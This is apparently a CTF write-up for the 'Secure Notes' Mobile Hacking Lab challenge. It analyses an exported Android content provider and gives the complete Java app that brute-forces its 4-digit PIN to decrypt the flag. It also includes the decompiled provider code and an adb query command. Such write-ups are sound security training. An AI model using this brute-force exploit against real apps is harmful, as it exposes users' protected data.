Secure Notes Write Up: Exploiting Android Content Providers
Introduction
Continuing the series of Write-Ups for Mobile Hacking Labs challenges, this blogpost describes my solution to "Secure Notes", an Android Lab designed to practice exploiting Android Content Providers.
The App
Mobile Hacking Lab presents "Secure Notes" as an application designed to store sensitive information protected by a PIN code. The challenge description hints that the application might have security flaws in its implementation that could allow an attacker to crack the PIN protection.

Android Manifest
As usual, I started the challenge by reversing the APK and analyzing the AndroidManifest.xml
file. The main part of the manifest and the challenge are related to the following snippet:
<!-- ... -->
<provider
android:name="com.mobilehackinglab.securenotes.SecretDataProvider"
android:enabled="true"
android:exported="true"
android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
<!-- ... -->
We can notice a declaration of a Content Provider, SecretDataProvider
, that is exported (android:exported="true"
) and is accessible by querying the URI content://com.mobilehackinglab.securenotes.secretprovider
, which can be noticed by the attribute android:authorities
.
Content Provider is an Android Component used to abstract data manipulation, usually between applications. It behaves very similar to databases where you can query it, edit its content, as well as add or delete content using
query
,insert()
,update()
anddelete()
methods.
To test the provider found, we can use the content
CLI inside an ADB shell.
adb shell content query --uri content://com.mobilehackinglab.securenotes.secretprovider
However, no result will be found executing this command. Fortunately, we can read the code of the content provider to understand how it works.
SecretDataProvider Code
Reading the code from the SecretDataProvider
, it's possible to notice that the app sets some variables from an asset file config.properties
.
package com.mobilehackinglab.securenotes;
// ...
public final class SecretDataProvider extends ContentProvider {
private byte[] encryptedSecret;
private int iterationCount;
private byte[] iv;
private byte[] salt;
@Override // android.content.ContentProvider
public boolean onCreate() throws IOException {
AssetManager assets;
InputStream inputStreamOpen;
Properties properties = new Properties();
Context context = getContext();
if (context != null && (assets = context.getAssets()) != null && (inputStreamOpen = assets.open("config.properties")) != null) {
InputStream inputStream = inputStreamOpen;
try {
InputStream it = inputStream;
properties.load(it);
byte[] bArrDecode = Base64.decode(properties.getProperty("encryptedSecret"), 0);
this.encryptedSecret = bArrDecode;
byte[] bArrDecode2 = Base64.decode(properties.getProperty("salt"), 0);
this.salt = bArrDecode2;
byte[] bArrDecode3 = Base64.decode(properties.getProperty("iv"), 0);
this.iv = bArrDecode3;
String property = properties.getProperty("iterationCount");
this.iterationCount = Integer.parseInt(property);
Unit unit = Unit.INSTANCE;
CloseableKt.closeFinally(inputStream, null);
return true;
} catch (Throwable th) {
try {
throw th;
} catch (Throwable th2) {
CloseableKt.closeFinally(inputStream, th);
throw th2;
}
}
}
return true;
}
encryptedSecret=bTjBHijMAVQX+CoyFbDPJXRUSHcTyzGaie3OgVqvK5w=
salt=m2UvPXkvte7fygEeMr0WUg==
iv=L15Je6YfY5owgIckR9R3DQ==
iterationCount=10000
Beyond the onCreate
, the only implemented method from ContentProvider
classes in the custom provider is query()
with the following code:
package com.mobilehackinglab.securenotes;
// ...
public final class SecretDataProvider extends ContentProvider {
// ...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Object objM130constructorimpl;
MatrixCursor matrixCursor = null;
if (selection == null || !StringsKt.startsWith$default(selection, "pin=", false, 2, (Object) null)) {
return null;
}
String strRemovePrefix = StringsKt.removePrefix(selection, (CharSequence) "pin=");
try {
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String str = String.format("%04d", Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(strRemovePrefix))}, 1));
try {
Result.Companion companion = Result.INSTANCE;
SecretDataProvider $this$query_u24lambda_u241 = this;
objM130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(str));
} catch (Throwable th) {
Result.Companion companion2 = Result.INSTANCE;
objM130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));
}
if (Result.m136isFailureimpl(objM130constructorimpl)) {
objM130constructorimpl = null;
}
String secret = (String) objM130constructorimpl;
if (secret != null) {
MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{"Secret"});
$this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});
matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;
}
return matrixCursor;
} catch (NumberFormatException e) {
return null;
}
}
As can be seen in the code, the query()
function uses the pin
selection in the query to try to decrypt a message in the decryptSecret
function. The function also provides an important tip about the pin format, using the String.format
to make it 4 digits in size.
Crafting an App Exploit
After analyzing the application, we could highlight two main weaknesses in the app's code:
SecretDataProvider
is exported without restrictions or protections;- The PIN used in decryption is weak and could be retrieved by brute forcing all 4-digit options
To solve this challenge, I developed a application to brute force the content provider. The main steps to do this are:
-
Add
<queries>
tag inAndroidManifest.xml
pointing to allow the application to interact with the target content provider<queries> <package android:name="com.mobilehackinglab.securenotes" /> </queries>
-
Implement a basic interaction with the content provider, passing a PIN and validating the result of the query.
private String checkPin(String pin) { try { String secret = null; Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider"); String selection = "pin=" + pin; Cursor cursor = getContentResolver().query(uri, null, selection, null, null); if (cursor != null) { if (cursor.moveToFirst()) { int secretColumnIndex = cursor.getColumnIndex("Secret"); if (secretColumnIndex != -1) { secret = cursor.getString(secretColumnIndex); if (secret != null && !secret.isEmpty()) { Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret); } } } cursor.close(); } return secret; } catch (Exception e) { Log.e(TAG, "Error querying provider with PIN " + pin, e); return null; } }
-
Brute force all digits from 0 to 9999 using 4-digit format
for (int pin = 0; pin < 10000; pin++) { String pinString = String.format("%04d", pin); String secret = checkPin(pinString); }
The final implementation iterate through all possible 4-digit PINs querying the vulnerable Content Provider with each of them.
package me.regne.pinextractor;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ProgressBar;
import android.widget.TextView;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "PinExtractor";
private static final String TAG_FOUND = "PinFound";
private TextView textView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
textView = findViewById(R.id.textView);
textView.setText("Searching...");
ProgressBar progressBar = findViewById(R.id.progressBar); // initiate the progress bar
progressBar.setMax(9999);
Thread th = new Thread(() -> {
for (int pin = 0; pin < 10000; pin++) {
String pinString = String.format("%04d", pin);
Log.d(TAG, "Testing PIN: " + pinString);
runOnUiThread(() -> {
textView.setText("Testing PIN: " + pinString);
progressBar.setProgress(Integer.parseInt(pinString));
});
String secret = checkPin(pinString);
if (secret != null && secret.contains("CTF{")) {
Log.i(TAG_FOUND, "PIN FOUND: " + pin);
final String foundSecret = secret;
runOnUiThread(() -> textView.setText("PIN FOUND: " + pinString + "\n" + foundSecret));
return;
}
}
runOnUiThread(() -> textView.setText("Search completed. No valid PIN found."));
});
th.start();
}
private String checkPin(String pin) {
try {
String secret = null;
Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
String selection = "pin=" + pin;
Log.d(TAG, "Querying with selection: " + selection);
Cursor cursor = getContentResolver().query(uri, null, selection, null, null);
if (cursor != null) {
if (cursor.moveToFirst()) {
int secretColumnIndex = cursor.getColumnIndex("Secret");
if (secretColumnIndex != -1) {
secret = cursor.getString(secretColumnIndex);
if (secret != null && !secret.isEmpty()) {
Log.d(TAG_FOUND, "SECRET FOUND with PIN " + pin + ": " + secret);
}
}
}
cursor.close();
}
return secret;
} catch (Exception e) {
Log.e(TAG, "Error querying provider with PIN " + pin, e);
return null;
}
}
}
The final code is longer than required, but it is prettier solution. Also, note that a condition was added to validate if the decrypted message contains the CTF{
string, it was added after the first solution because the content provider query returns the result of any successful decrypt operation, because in AES, a programmatically successful decryption (which means a valid mathematical operation without generating exceptions) could return an invalid result.
After some seconds running the app the correct PIN (2580) was discovered. With this PIN, the application was able to successfully query the Content Provider and retrieve the encrypted secret note: CTF{D1d_y0u_gu3ss_1t!1?}
.
! The complete apps code is available in my GitHub Repository with all solutions to Android Mobile Hacking Labs.

Hope you enjoyed this write up and learned new thing. See you, and remember: hack all the things! 👾